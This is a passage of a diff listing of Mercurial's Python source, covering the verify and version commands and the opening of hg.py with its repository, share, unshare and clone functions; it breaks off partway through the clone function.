7858 7861 return ret
7859 7862
7860 7863
7861 7864 @command(
7862 7865 b'verify',
7863 7866 [(b'', b'full', False, b'perform more checks (EXPERIMENTAL)')],
7864 7867 helpcategory=command.CATEGORY_MAINTENANCE,
7865 7868 )
7866 7869 def verify(ui, repo, **opts):
7867 7870 """verify the integrity of the repository
7868 7871
7869 7872 Verify the integrity of the current repository.
7870 7873
7871 7874 This will perform an extensive check of the repository's
7872 7875 integrity, validating the hashes and checksums of each entry in
7873 7876 the changelog, manifest, and tracked files, as well as the
7874 7877 integrity of their crosslinks and indices.
7875 7878
7876 7879 Please see https://mercurial-scm.org/wiki/RepositoryCorruption
7877 7880 for more information about recovery from corruption of the
7878 7881 repository.
7879 7882
7880 7883 Returns 0 on success, 1 if errors are encountered.
7881 7884 """
7882 7885 opts = pycompat.byteskwargs(opts)
7883 7886
7884 7887 level = None
7885 7888 if opts[b'full']:
7886 7889 level = verifymod.VERIFY_FULL
7887 7890 return hg.verify(repo, level)
7888 7891
7889 7892
7890 7893 @command(
7891 7894 b'version',
7892 7895 [] + formatteropts,
7893 7896 helpcategory=command.CATEGORY_HELP,
7894 7897 norepo=True,
7895 7898 intents={INTENT_READONLY},
7896 7899 )
7897 7900 def version_(ui, **opts):
7898 7901 """output version and copyright information
7899 7902
7900 7903 .. container:: verbose
7901 7904
7902 7905 Template:
7903 7906
7904 7907 The following keywords are supported. See also :hg:`help templates`.
7905 7908
7906 7909 :extensions: List of extensions.
7907 7910 :ver: String. Version number.
7908 7911
7909 7912 And each entry of ``{extensions}`` provides the following sub-keywords
7910 7913 in addition to ``{ver}``.
7911 7914
7912 7915 :bundled: Boolean. True if included in the release.
7913 7916 :name: String. Extension name.
7914 7917 """
7915 7918 opts = pycompat.byteskwargs(opts)
7916 7919 if ui.verbose:
7917 7920 ui.pager(b'version')
7918 7921 fm = ui.formatter(b"version", opts)
7919 7922 fm.startitem()
7920 7923 fm.write(
7921 7924 b"ver", _(b"Mercurial Distributed SCM (version %s)\n"), util.version()
7922 7925 )
7923 7926 license = _(
7924 7927 b"(see https://mercurial-scm.org for more information)\n"
7925 7928 b"\nCopyright (C) 2005-2021 Olivia Mackall and others\n"
7926 7929 b"This is free software; see the source for copying conditions. "
7927 7930 b"There is NO\nwarranty; "
7928 7931 b"not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n"
7929 7932 )
7930 7933 if not ui.quiet:
7931 7934 fm.plain(license)
7932 7935
7933 7936 if ui.verbose:
7934 7937 fm.plain(_(b"\nEnabled extensions:\n\n"))
7935 7938 # format names and versions into columns
7936 7939 names = []
7937 7940 vers = []
7938 7941 isinternals = []
7939 7942 for name, module in sorted(extensions.extensions()):
7940 7943 names.append(name)
7941 7944 vers.append(extensions.moduleversion(module) or None)
7942 7945 isinternals.append(extensions.ismoduleinternal(module))
7943 7946 fn = fm.nested(b"extensions", tmpl=b'{name}\n')
7944 7947 if names:
7945 7948 namefmt = b" %%-%ds " % max(len(n) for n in names)
7946 7949 places = [_(b"external"), _(b"internal")]
7947 7950 for n, v, p in zip(names, vers, isinternals):
7948 7951 fn.startitem()
7949 7952 fn.condwrite(ui.verbose, b"name", namefmt, n)
7950 7953 if ui.verbose:
7951 7954 fn.plain(b"%s " % places[p])
7952 7955 fn.data(bundled=p)
7953 7956 fn.condwrite(ui.verbose and v, b"ver", b"%s", v)
7954 7957 if ui.verbose:
7955 7958 fn.plain(b"\n")
7956 7959 fn.end()
7957 7960 fm.end()
7958 7961
7959 7962
7960 7963 def loadcmdtable(ui, name, cmdtable):
7961 7964 """Load command functions from specified cmdtable"""
7962 7965 overrides = [cmd for cmd in cmdtable if cmd in table]
7963 7966 if overrides:
7964 7967 ui.warn(
7965 7968 _(b"extension '%s' overrides commands: %s\n")
7966 7969 % (name, b" ".join(overrides))
7967 7970 )
7968 7971 table.update(cmdtable)
@@ -1,1590 +1,1591 b''
1 1 # hg.py - repository classes for mercurial
2 2 #
3 3 # Copyright 2005-2007 Olivia Mackall <olivia@selenic.com>
4 4 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
5 5 #
6 6 # This software may be used and distributed according to the terms of the
7 7 # GNU General Public License version 2 or any later version.
8 8
9 9 from __future__ import absolute_import
10 10
11 11 import errno
12 12 import os
13 13 import shutil
14 14 import stat
15 15
16 16 from .i18n import _
17 17 from .node import (
18 18 hex,
19 19 sha1nodeconstants,
20 20 short,
21 21 )
22 22 from .pycompat import getattr
23 23
24 24 from . import (
25 25 bookmarks,
26 26 bundlerepo,
27 27 cmdutil,
28 28 destutil,
29 29 discovery,
30 30 error,
31 31 exchange,
32 32 extensions,
33 33 graphmod,
34 34 httppeer,
35 35 localrepo,
36 36 lock,
37 37 logcmdutil,
38 38 logexchange,
39 39 merge as mergemod,
40 40 mergestate as mergestatemod,
41 41 narrowspec,
42 42 phases,
43 43 requirements,
44 44 scmutil,
45 45 sshpeer,
46 46 statichttprepo,
47 47 ui as uimod,
48 48 unionrepo,
49 49 url,
50 50 util,
51 51 verify as verifymod,
52 52 vfs as vfsmod,
53 53 )
54 54 from .interfaces import repository as repositorymod
55 55 from .utils import (
56 56 hashutil,
57 57 stringutil,
58 58 urlutil,
59 59 )
60 60
61 61
62 62 release = lock.release
63 63
64 64 # shared features
65 65 sharedbookmarks = b'bookmarks'
66 66
67 67
68 68 def _local(path):
69 69 path = util.expandpath(urlutil.urllocalpath(path))
70 70
71 71 try:
72 72 # we use os.stat() directly here instead of os.path.isfile()
73 73 # because the latter started returning `False` on invalid path
74 74 # exceptions starting in 3.8 and we care about handling
75 75 # invalid paths specially here.
76 76 st = os.stat(path)
77 77 isfile = stat.S_ISREG(st.st_mode)
78 78 # Python 2 raises TypeError, Python 3 ValueError.
79 79 except (TypeError, ValueError) as e:
80 80 raise error.Abort(
81 81 _(b'invalid path %s: %s') % (path, stringutil.forcebytestr(e))
82 82 )
83 83 except OSError:
84 84 isfile = False
85 85
86 86 return isfile and bundlerepo or localrepo
87 87
88 88
89 89 def addbranchrevs(lrepo, other, branches, revs):
90 90 peer = other.peer() # a courtesy to callers using a localrepo for other
91 91 hashbranch, branches = branches
92 92 if not hashbranch and not branches:
93 93 x = revs or None
94 94 if revs:
95 95 y = revs[0]
96 96 else:
97 97 y = None
98 98 return x, y
99 99 if revs:
100 100 revs = list(revs)
101 101 else:
102 102 revs = []
103 103
104 104 if not peer.capable(b'branchmap'):
105 105 if branches:
106 106 raise error.Abort(_(b"remote branch lookup not supported"))
107 107 revs.append(hashbranch)
108 108 return revs, revs[0]
109 109
110 110 with peer.commandexecutor() as e:
111 111 branchmap = e.callcommand(b'branchmap', {}).result()
112 112
113 113 def primary(branch):
114 114 if branch == b'.':
115 115 if not lrepo:
116 116 raise error.Abort(_(b"dirstate branch not accessible"))
117 117 branch = lrepo.dirstate.branch()
118 118 if branch in branchmap:
119 119 revs.extend(hex(r) for r in reversed(branchmap[branch]))
120 120 return True
121 121 else:
122 122 return False
123 123
124 124 for branch in branches:
125 125 if not primary(branch):
126 126 raise error.RepoLookupError(_(b"unknown branch '%s'") % branch)
127 127 if hashbranch:
128 128 if not primary(hashbranch):
129 129 revs.append(hashbranch)
130 130 return revs, revs[0]
131 131
132 132
133 133 def parseurl(path, branches=None):
134 134 '''parse url#branch, returning (url, (branch, branches))'''
135 135 msg = b'parseurl(...) moved to mercurial.utils.urlutil'
136 136 util.nouideprecwarn(msg, b'6.0', stacklevel=2)
137 137 return urlutil.parseurl(path, branches=branches)
138 138
139 139
140 140 schemes = {
141 141 b'bundle': bundlerepo,
142 142 b'union': unionrepo,
143 143 b'file': _local,
144 144 b'http': httppeer,
145 145 b'https': httppeer,
146 146 b'ssh': sshpeer,
147 147 b'static-http': statichttprepo,
148 148 }
149 149
150 150
151 151 def _peerlookup(path):
152 152 u = urlutil.url(path)
153 153 scheme = u.scheme or b'file'
154 154 thing = schemes.get(scheme) or schemes[b'file']
155 155 try:
156 156 return thing(path)
157 157 except TypeError:
158 158 # we can't test callable(thing) because 'thing' can be an unloaded
159 159 # module that implements __call__
160 160 if not util.safehasattr(thing, b'instance'):
161 161 raise
162 162 return thing
163 163
164 164
165 165 def islocal(repo):
166 166 '''return true if repo (or path pointing to repo) is local'''
167 167 if isinstance(repo, bytes):
168 168 try:
169 169 return _peerlookup(repo).islocal(repo)
170 170 except AttributeError:
171 171 return False
172 172 return repo.local()
173 173
174 174
175 175 def openpath(ui, path, sendaccept=True):
176 176 '''open path with open if local, url.open if remote'''
177 177 pathurl = urlutil.url(path, parsequery=False, parsefragment=False)
178 178 if pathurl.islocal():
179 179 return util.posixfile(pathurl.localpath(), b'rb')
180 180 else:
181 181 return url.open(ui, path, sendaccept=sendaccept)
182 182
183 183
184 184 # a list of (ui, repo) functions called for wire peer initialization
185 185 wirepeersetupfuncs = []
186 186
187 187
188 188 def _peerorrepo(
189 189 ui, path, create=False, presetupfuncs=None, intents=None, createopts=None
190 190 ):
191 191 """return a repository object for the specified path"""
192 192 obj = _peerlookup(path).instance(
193 193 ui, path, create, intents=intents, createopts=createopts
194 194 )
195 195 ui = getattr(obj, "ui", ui)
196 196 for f in presetupfuncs or []:
197 197 f(ui, obj)
198 198 ui.log(b'extension', b'- executing reposetup hooks\n')
199 199 with util.timedcm('all reposetup') as allreposetupstats:
200 200 for name, module in extensions.extensions(ui):
201 201 ui.log(b'extension', b' - running reposetup for %s\n', name)
202 202 hook = getattr(module, 'reposetup', None)
203 203 if hook:
204 204 with util.timedcm('reposetup %r', name) as stats:
205 205 hook(ui, obj)
206 206 ui.log(
207 207 b'extension', b' > reposetup for %s took %s\n', name, stats
208 208 )
209 209 ui.log(b'extension', b'> all reposetup took %s\n', allreposetupstats)
210 210 if not obj.local():
211 211 for f in wirepeersetupfuncs:
212 212 f(ui, obj)
213 213 return obj
214 214
215 215
216 216 def repository(
217 217 ui,
218 218 path=b'',
219 219 create=False,
220 220 presetupfuncs=None,
221 221 intents=None,
222 222 createopts=None,
223 223 ):
224 224 """return a repository object for the specified path"""
225 225 peer = _peerorrepo(
226 226 ui,
227 227 path,
228 228 create,
229 229 presetupfuncs=presetupfuncs,
230 230 intents=intents,
231 231 createopts=createopts,
232 232 )
233 233 repo = peer.local()
234 234 if not repo:
235 235 raise error.Abort(
236 236 _(b"repository '%s' is not local") % (path or peer.url())
237 237 )
238 238 return repo.filtered(b'visible')
239 239
240 240
241 241 def peer(uiorrepo, opts, path, create=False, intents=None, createopts=None):
242 242 '''return a repository peer for the specified path'''
243 243 rui = remoteui(uiorrepo, opts)
244 244 return _peerorrepo(
245 245 rui, path, create, intents=intents, createopts=createopts
246 246 ).peer()
247 247
248 248
249 249 def defaultdest(source):
250 250 """return default destination of clone if none is given
251 251
252 252 >>> defaultdest(b'foo')
253 253 'foo'
254 254 >>> defaultdest(b'/foo/bar')
255 255 'bar'
256 256 >>> defaultdest(b'/')
257 257 ''
258 258 >>> defaultdest(b'')
259 259 ''
260 260 >>> defaultdest(b'http://example.org/')
261 261 ''
262 262 >>> defaultdest(b'http://example.org/foo/')
263 263 'foo'
264 264 """
265 265 path = urlutil.url(source).path
266 266 if not path:
267 267 return b''
268 268 return os.path.basename(os.path.normpath(path))
269 269
270 270
271 271 def sharedreposource(repo):
272 272 """Returns repository object for source repository of a shared repo.
273 273
274 274 If repo is not a shared repository, returns None.
275 275 """
276 276 if repo.sharedpath == repo.path:
277 277 return None
278 278
279 279 if util.safehasattr(repo, b'srcrepo') and repo.srcrepo:
280 280 return repo.srcrepo
281 281
282 282 # the sharedpath always ends in the .hg; we want the path to the repo
283 283 source = repo.vfs.split(repo.sharedpath)[0]
284 284 srcurl, branches = urlutil.parseurl(source)
285 285 srcrepo = repository(repo.ui, srcurl)
286 286 repo.srcrepo = srcrepo
287 287 return srcrepo
288 288
289 289
290 290 def share(
291 291 ui,
292 292 source,
293 293 dest=None,
294 294 update=True,
295 295 bookmarks=True,
296 296 defaultpath=None,
297 297 relative=False,
298 298 ):
299 299 '''create a shared repository'''
300 300
301 301 if not islocal(source):
302 302 raise error.Abort(_(b'can only share local repositories'))
303 303
304 304 if not dest:
305 305 dest = defaultdest(source)
306 306 else:
307 307 dest = urlutil.get_clone_path(ui, dest)[1]
308 308
309 309 if isinstance(source, bytes):
310 310 origsource, source, branches = urlutil.get_clone_path(ui, source)
311 311 srcrepo = repository(ui, source)
312 312 rev, checkout = addbranchrevs(srcrepo, srcrepo, branches, None)
313 313 else:
314 314 srcrepo = source.local()
315 315 checkout = None
316 316
317 317 shareditems = set()
318 318 if bookmarks:
319 319 shareditems.add(sharedbookmarks)
320 320
321 321 r = repository(
322 322 ui,
323 323 dest,
324 324 create=True,
325 325 createopts={
326 326 b'sharedrepo': srcrepo,
327 327 b'sharedrelative': relative,
328 328 b'shareditems': shareditems,
329 329 },
330 330 )
331 331
332 332 postshare(srcrepo, r, defaultpath=defaultpath)
333 333 r = repository(ui, dest)
334 334 _postshareupdate(r, update, checkout=checkout)
335 335 return r
336 336
337 337
338 338 def _prependsourcehgrc(repo):
339 339 """copies the source repo config and prepend it in current repo .hg/hgrc
340 340 on unshare. This is only done if the share was perfomed using share safe
341 341 method where we share config of source in shares"""
342 342 srcvfs = vfsmod.vfs(repo.sharedpath)
343 343 dstvfs = vfsmod.vfs(repo.path)
344 344
345 345 if not srcvfs.exists(b'hgrc'):
346 346 return
347 347
348 348 currentconfig = b''
349 349 if dstvfs.exists(b'hgrc'):
350 350 currentconfig = dstvfs.read(b'hgrc')
351 351
352 352 with dstvfs(b'hgrc', b'wb') as fp:
353 353 sourceconfig = srcvfs.read(b'hgrc')
354 354 fp.write(b"# Config copied from shared source\n")
355 355 fp.write(sourceconfig)
356 356 fp.write(b'\n')
357 357 fp.write(currentconfig)
358 358
359 359
360 360 def unshare(ui, repo):
361 361 """convert a shared repository to a normal one
362 362
363 363 Copy the store data to the repo and remove the sharedpath data.
364 364
365 365 Returns a new repository object representing the unshared repository.
366 366
367 367 The passed repository object is not usable after this function is
368 368 called.
369 369 """
370 370
371 371 with repo.lock():
372 372 # we use locks here because if we race with commit, we
373 373 # can end up with extra data in the cloned revlogs that's
374 374 # not pointed to by changesets, thus causing verify to
375 375 # fail
376 376 destlock = copystore(ui, repo, repo.path)
377 377 with destlock or util.nullcontextmanager():
378 378 if requirements.SHARESAFE_REQUIREMENT in repo.requirements:
379 379 # we were sharing .hg/hgrc of the share source with the current
380 380 # repo. We need to copy that while unsharing otherwise it can
381 381 # disable hooks and other checks
382 382 _prependsourcehgrc(repo)
383 383
384 384 sharefile = repo.vfs.join(b'sharedpath')
385 385 util.rename(sharefile, sharefile + b'.old')
386 386
387 387 repo.requirements.discard(requirements.SHARED_REQUIREMENT)
388 388 repo.requirements.discard(requirements.RELATIVE_SHARED_REQUIREMENT)
389 389 scmutil.writereporequirements(repo)
390 390
391 391 # Removing share changes some fundamental properties of the repo instance.
392 392 # So we instantiate a new repo object and operate on it rather than
393 393 # try to keep the existing repo usable.
394 394 newrepo = repository(repo.baseui, repo.root, create=False)
395 395
396 396 # TODO: figure out how to access subrepos that exist, but were previously
397 397 # removed from .hgsub
398 398 c = newrepo[b'.']
399 399 subs = c.substate
400 400 for s in sorted(subs):
401 401 c.sub(s).unshare()
402 402
403 403 localrepo.poisonrepository(repo)
404 404
405 405 return newrepo
406 406
407 407
408 408 def postshare(sourcerepo, destrepo, defaultpath=None):
409 409 """Called after a new shared repo is created.
410 410
411 411 The new repo only has a requirements file and pointer to the source.
412 412 This function configures additional shared data.
413 413
414 414 Extensions can wrap this function and write additional entries to
415 415 destrepo/.hg/shared to indicate additional pieces of data to be shared.
416 416 """
417 417 default = defaultpath or sourcerepo.ui.config(b'paths', b'default')
418 418 if default:
419 419 template = b'[paths]\ndefault = %s\n'
420 420 destrepo.vfs.write(b'hgrc', util.tonativeeol(template % default))
421 421 if requirements.NARROW_REQUIREMENT in sourcerepo.requirements:
422 422 with destrepo.wlock():
423 423 narrowspec.copytoworkingcopy(destrepo)
424 424
425 425
426 426 def _postshareupdate(repo, update, checkout=None):
427 427 """Maybe perform a working directory update after a shared repo is created.
428 428
429 429 ``update`` can be a boolean or a revision to update to.
430 430 """
431 431 if not update:
432 432 return
433 433
434 434 repo.ui.status(_(b"updating working directory\n"))
435 435 if update is not True:
436 436 checkout = update
437 437 for test in (checkout, b'default', b'tip'):
438 438 if test is None:
439 439 continue
440 440 try:
441 441 uprev = repo.lookup(test)
442 442 break
443 443 except error.RepoLookupError:
444 444 continue
445 445 _update(repo, uprev)
446 446
447 447
448 448 def copystore(ui, srcrepo, destpath):
449 449 """copy files from store of srcrepo in destpath
450 450
451 451 returns destlock
452 452 """
453 453 destlock = None
454 454 try:
455 455 hardlink = None
456 456 topic = _(b'linking') if hardlink else _(b'copying')
457 457 with ui.makeprogress(topic, unit=_(b'files')) as progress:
458 458 num = 0
459 459 srcpublishing = srcrepo.publishing()
460 460 srcvfs = vfsmod.vfs(srcrepo.sharedpath)
461 461 dstvfs = vfsmod.vfs(destpath)
462 462 for f in srcrepo.store.copylist():
463 463 if srcpublishing and f.endswith(b'phaseroots'):
464 464 continue
465 465 dstbase = os.path.dirname(f)
466 466 if dstbase and not dstvfs.exists(dstbase):
467 467 dstvfs.mkdir(dstbase)
468 468 if srcvfs.exists(f):
469 469 if f.endswith(b'data'):
470 470 # 'dstbase' may be empty (e.g. revlog format 0)
471 471 lockfile = os.path.join(dstbase, b"lock")
472 472 # lock to avoid premature writing to the target
473 473 destlock = lock.lock(dstvfs, lockfile)
474 474 hardlink, n = util.copyfiles(
475 475 srcvfs.join(f), dstvfs.join(f), hardlink, progress
476 476 )
477 477 num += n
478 478 if hardlink:
479 479 ui.debug(b"linked %d files\n" % num)
480 480 else:
481 481 ui.debug(b"copied %d files\n" % num)
482 482 return destlock
483 483 except: # re-raises
484 484 release(destlock)
485 485 raise
486 486
487 487
488 488 def clonewithshare(
489 489 ui,
490 490 peeropts,
491 491 sharepath,
492 492 source,
493 493 srcpeer,
494 494 dest,
495 495 pull=False,
496 496 rev=None,
497 497 update=True,
498 498 stream=False,
499 499 ):
500 500 """Perform a clone using a shared repo.
501 501
502 502 The store for the repository will be located at <sharepath>/.hg. The
503 503 specified revisions will be cloned or pulled from "source". A shared repo
504 504 will be created at "dest" and a working copy will be created if "update" is
505 505 True.
506 506 """
507 507 revs = None
508 508 if rev:
509 509 if not srcpeer.capable(b'lookup'):
510 510 raise error.Abort(
511 511 _(
512 512 b"src repository does not support "
513 513 b"revision lookup and so doesn't "
514 514 b"support clone by revision"
515 515 )
516 516 )
517 517
518 518 # TODO this is batchable.
519 519 remoterevs = []
520 520 for r in rev:
521 521 with srcpeer.commandexecutor() as e:
522 522 remoterevs.append(
523 523 e.callcommand(
524 524 b'lookup',
525 525 {
526 526 b'key': r,
527 527 },
528 528 ).result()
529 529 )
530 530 revs = remoterevs
531 531
532 532 # Obtain a lock before checking for or cloning the pooled repo otherwise
533 533 # 2 clients may race creating or populating it.
534 534 pooldir = os.path.dirname(sharepath)
535 535 # lock class requires the directory to exist.
536 536 try:
537 537 util.makedir(pooldir, False)
538 538 except OSError as e:
539 539 if e.errno != errno.EEXIST:
540 540 raise
541 541
542 542 poolvfs = vfsmod.vfs(pooldir)
543 543 basename = os.path.basename(sharepath)
544 544
545 545 with lock.lock(poolvfs, b'%s.lock' % basename):
546 546 if os.path.exists(sharepath):
547 547 ui.status(
548 548 _(b'(sharing from existing pooled repository %s)\n') % basename
549 549 )
550 550 else:
551 551 ui.status(
552 552 _(b'(sharing from new pooled repository %s)\n') % basename
553 553 )
554 554 # Always use pull mode because hardlinks in share mode don't work
555 555 # well. Never update because working copies aren't necessary in
556 556 # share mode.
557 557 clone(
558 558 ui,
559 559 peeropts,
560 560 source,
561 561 dest=sharepath,
562 562 pull=True,
563 563 revs=rev,
564 564 update=False,
565 565 stream=stream,
566 566 )
567 567
568 568 # Resolve the value to put in [paths] section for the source.
569 569 if islocal(source):
570 570 defaultpath = util.abspath(urlutil.urllocalpath(source))
571 571 else:
572 572 defaultpath = source
573 573
574 574 sharerepo = repository(ui, path=sharepath)
575 575 destrepo = share(
576 576 ui,
577 577 sharerepo,
578 578 dest=dest,
579 579 update=False,
580 580 bookmarks=False,
581 581 defaultpath=defaultpath,
582 582 )
583 583
584 584 # We need to perform a pull against the dest repo to fetch bookmarks
585 585 # and other non-store data that isn't shared by default. In the case of
586 586 # non-existing shared repo, this means we pull from the remote twice. This
587 587 # is a bit weird. But at the time it was implemented, there wasn't an easy
588 588 # way to pull just non-changegroup data.
589 589 exchange.pull(destrepo, srcpeer, heads=revs)
590 590
591 591 _postshareupdate(destrepo, update)
592 592
593 593 return srcpeer, peer(ui, peeropts, dest)
594 594
595 595
596 596 # Recomputing caches is often slow on big repos, so copy them.
597 597 def _copycache(srcrepo, dstcachedir, fname):
598 598 """copy a cache from srcrepo to destcachedir (if it exists)"""
599 599 srcfname = srcrepo.cachevfs.join(fname)
600 600 dstfname = os.path.join(dstcachedir, fname)
601 601 if os.path.exists(srcfname):
602 602 if not os.path.exists(dstcachedir):
603 603 os.mkdir(dstcachedir)
604 604 util.copyfile(srcfname, dstfname)
605 605
606 606
607 607 def clone(
608 608 ui,
609 609 peeropts,
610 610 source,
611 611 dest=None,
612 612 pull=False,
613 613 revs=None,
614 614 update=True,
615 615 stream=False,
616 616 branch=None,
617 617 shareopts=None,
618 618 storeincludepats=None,
619 619 storeexcludepats=None,
620 620 depth=None,
621 621 ):
622 622 """Make a copy of an existing repository.
623 623
624 624 Create a copy of an existing repository in a new directory. The
625 625 source and destination are URLs, as passed to the repository
626 626 function. Returns a pair of repository peers, the source and
627 627 newly created destination.
628 628
629 629 The location of the source is added to the new repository's
630 630 .hg/hgrc file, as the default to be used for future pulls and
631 631 pushes.
632 632
633 633 If an exception is raised, the partly cloned/updated destination
634 634 repository will be deleted.
635 635
636 636 Arguments:
637 637
638 638 source: repository object or URL
639 639
640 640 dest: URL of destination repository to create (defaults to base
641 641 name of source repository)
642 642
643 643 pull: always pull from source repository, even in local case or if the
644 644 server prefers streaming
645 645
646 646 stream: stream raw data uncompressed from repository (fast over
647 647 LAN, slow over WAN)
648 648
649 649 revs: revision to clone up to (implies pull=True)
650 650
651 651 update: update working directory after clone completes, if
652 652 destination is local repository (True means update to default rev,
653 653 anything else is treated as a revision)
654 654
655 655 branch: branches to clone
656 656
657 657 shareopts: dict of options to control auto sharing behavior. The "pool" key
658 658 activates auto sharing mode and defines the directory for stores. The
659 659 "mode" key determines how to construct the directory name of the shared
660 660 repository. "identity" means the name is derived from the node of the first
661 661 changeset in the repository. "remote" means the name is derived from the
662 662 remote's path/URL. Defaults to "identity."
663 663
664 664 storeincludepats and storeexcludepats: sets of file patterns to include and
665 665 exclude in the repository copy, respectively. If not defined, all files
666 666 will be included (a "full" clone). Otherwise a "narrow" clone containing
667 667 only the requested files will be performed. If ``storeincludepats`` is not
668 668 defined but ``storeexcludepats`` is, ``storeincludepats`` is assumed to be
669 669 ``path:.``. If both are empty sets, no files will be cloned.
670 670 """
671 671
672 672 if isinstance(source, bytes):
673 673 src = urlutil.get_clone_path(ui, source, branch)
674 674 origsource, source, branches = src
675 675 srcpeer = peer(ui, peeropts, source)
676 676 else:
677 677 srcpeer = source.peer() # in case we were called with a localrepo
678 678 branches = (None, branch or [])
679 679 origsource = source = srcpeer.url()
680 680 srclock = destlock = cleandir = None
681 681 destpeer = None
682 682 try:
683 683 revs, checkout = addbranchrevs(srcpeer, srcpeer, branches, revs)
684 684
685 685 if dest is None:
686 686 dest = defaultdest(source)
687 687 if dest:
688 688 ui.status(_(b"destination directory: %s\n") % dest)
689 689 else:
690 690 dest = urlutil.get_clone_path(ui, dest)[0]
691 691
692 692 dest = urlutil.urllocalpath(dest)
693 693 source = urlutil.urllocalpath(source)
694 694
695 695 if not dest:
696 696 raise error.InputError(_(b"empty destination path is not valid"))
697 697
698 698 destvfs = vfsmod.vfs(dest, expandpath=True)
699 699 if destvfs.lexists():
700 700 if not destvfs.isdir():
701 701 raise error.InputError(
702 702 _(b"destination '%s' already exists") % dest
703 703 )
704 704 elif destvfs.listdir():
705 705 raise error.InputError(
706 706 _(b"destination '%s' is not empty") % dest
707 707 )
708 708
709 709 createopts = {}
710 710 narrow = False
711 711
712 712 if storeincludepats is not None:
713 713 narrowspec.validatepatterns(storeincludepats)
714 714 narrow = True
715 715
716 716 if storeexcludepats is not None:
717 717 narrowspec.validatepatterns(storeexcludepats)
718 718 narrow = True
719 719
720 720 if narrow:
721 721 # Include everything by default if only exclusion patterns defined.
722 722 if storeexcludepats and not storeincludepats:
723 723 storeincludepats = {b'path:.'}
724 724
725 725 createopts[b'narrowfiles'] = True
726 726
727 727 if depth:
728 728 createopts[b'shallowfilestore'] = True
729 729
730 730 if srcpeer.capable(b'lfs-serve'):
731 731 # Repository creation honors the config if it disabled the extension, so
732 732 # we can't just announce that lfs will be enabled. This check avoids
733 733 # saying that lfs will be enabled, and then saying it's an unknown
734 734 # feature. The lfs creation option is set in either case so that a
735 735 # requirement is added. If the extension is explicitly disabled but the
736 736 # requirement is set, the clone aborts early, before transferring any
737 737 # data.
738 738 createopts[b'lfs'] = True
739 739
740 740 if extensions.disabled_help(b'lfs'):
741 741 ui.status(
742 742 _(
743 743 b'(remote is using large file support (lfs), but it is '
744 744 b'explicitly disabled in the local configuration)\n'
745 745 )
746 746 )
747 747 else:
748 748 ui.status(
749 749 _(
750 750 b'(remote is using large file support (lfs); lfs will '
751 751 b'be enabled for this repository)\n'
752 752 )
753 753 )
754 754
755 755 shareopts = shareopts or {}
756 756 sharepool = shareopts.get(b'pool')
757 757 sharenamemode = shareopts.get(b'mode')
758 758 if sharepool and islocal(dest):
759 759 sharepath = None
760 760 if sharenamemode == b'identity':
761 761 # Resolve the name from the initial changeset in the remote
762 762 # repository. This returns nullid when the remote is empty. It
763 763 # raises RepoLookupError if revision 0 is filtered or otherwise
764 764 # not available. If we fail to resolve, sharing is not enabled.
765 765 try:
766 766 with srcpeer.commandexecutor() as e:
767 767 rootnode = e.callcommand(
768 768 b'lookup',
769 769 {
770 770 b'key': b'0',
771 771 },
772 772 ).result()
773 773
774 774 if rootnode != sha1nodeconstants.nullid:
775 775 sharepath = os.path.join(sharepool, hex(rootnode))
776 776 else:
777 777 ui.status(
778 778 _(
779 779 b'(not using pooled storage: '
780 780 b'remote appears to be empty)\n'
781 781 )
782 782 )
783 783 except error.RepoLookupError:
784 784 ui.status(
785 785 _(
786 786 b'(not using pooled storage: '
787 787 b'unable to resolve identity of remote)\n'
788 788 )
789 789 )
790 790 elif sharenamemode == b'remote':
791 791 sharepath = os.path.join(
792 792 sharepool, hex(hashutil.sha1(source).digest())
793 793 )
794 794 else:
795 795 raise error.Abort(
796 796 _(b'unknown share naming mode: %s') % sharenamemode
797 797 )
798 798
799 799 # TODO this is a somewhat arbitrary restriction.
800 800 if narrow:
801 801 ui.status(
802 802 _(b'(pooled storage not supported for narrow clones)\n')
803 803 )
804 804 sharepath = None
805 805
806 806 if sharepath:
807 807 return clonewithshare(
808 808 ui,
809 809 peeropts,
810 810 sharepath,
811 811 source,
812 812 srcpeer,
813 813 dest,
814 814 pull=pull,
815 815 rev=revs,
816 816 update=update,
817 817 stream=stream,
818 818 )
819 819
820 820 srcrepo = srcpeer.local()
821 821
822 822 abspath = origsource
823 823 if islocal(origsource):
824 824 abspath = util.abspath(urlutil.urllocalpath(origsource))
825 825
826 826 if islocal(dest):
827 827 if os.path.exists(dest):
828 828 # only clean up directories we create ourselves
829 829 hgdir = os.path.realpath(os.path.join(dest, b".hg"))
830 830 cleandir = hgdir
831 831 else:
832 832 cleandir = dest
833 833
834 834 copy = False
835 835 if (
836 836 srcrepo
837 837 and srcrepo.cancopy()
838 838 and islocal(dest)
839 839 and not phases.hassecret(srcrepo)
840 840 ):
841 841 copy = not pull and not revs
842 842
843 843 # TODO this is a somewhat arbitrary restriction.
844 844 if narrow:
845 845 copy = False
846 846
847 847 if copy:
848 848 try:
849 849 # we use a lock here because if we race with commit, we
850 850 # can end up with extra data in the cloned revlogs that's
851 851 # not pointed to by changesets, thus causing verify to
852 852 # fail
853 853 srclock = srcrepo.lock(wait=False)
854 854 except error.LockError:
855 855 copy = False
856 856
857 857 if copy:
858 858 srcrepo.hook(b'preoutgoing', throw=True, source=b'clone')
859 859
860 860 destrootpath = urlutil.urllocalpath(dest)
861 861 dest_reqs = localrepo.clone_requirements(ui, createopts, srcrepo)
862 862 localrepo.createrepository(
863 863 ui,
864 864 destrootpath,
865 865 requirements=dest_reqs,
866 866 )
867 867 destrepo = localrepo.makelocalrepository(ui, destrootpath)
868 868 destlock = destrepo.lock()
869 869 from . import streamclone # avoid cycle
870 870
871 871 streamclone.local_copy(srcrepo, destrepo)
872 872
873 873 # we need to re-init the repo after manually copying the data
874 874 # into it
875 875 destpeer = peer(srcrepo, peeropts, dest)
876 876 srcrepo.hook(
877 877 b'outgoing', source=b'clone', node=srcrepo.nodeconstants.nullhex
878 878 )
879 879 else:
880 880 try:
881 881 # only pass ui when no srcrepo
882 882 destpeer = peer(
883 883 srcrepo or ui,
884 884 peeropts,
885 885 dest,
886 886 create=True,
887 887 createopts=createopts,
888 888 )
889 889 except OSError as inst:
890 890 if inst.errno == errno.EEXIST:
891 891 cleandir = None
892 892 raise error.Abort(
893 893 _(b"destination '%s' already exists") % dest
894 894 )
895 895 raise
896 896
897 897 if revs:
898 898 if not srcpeer.capable(b'lookup'):
899 899 raise error.Abort(
900 900 _(
901 901 b"src repository does not support "
902 902 b"revision lookup and so doesn't "
903 903 b"support clone by revision"
904 904 )
905 905 )
906 906
907 907 # TODO this is batchable.
908 908 remoterevs = []
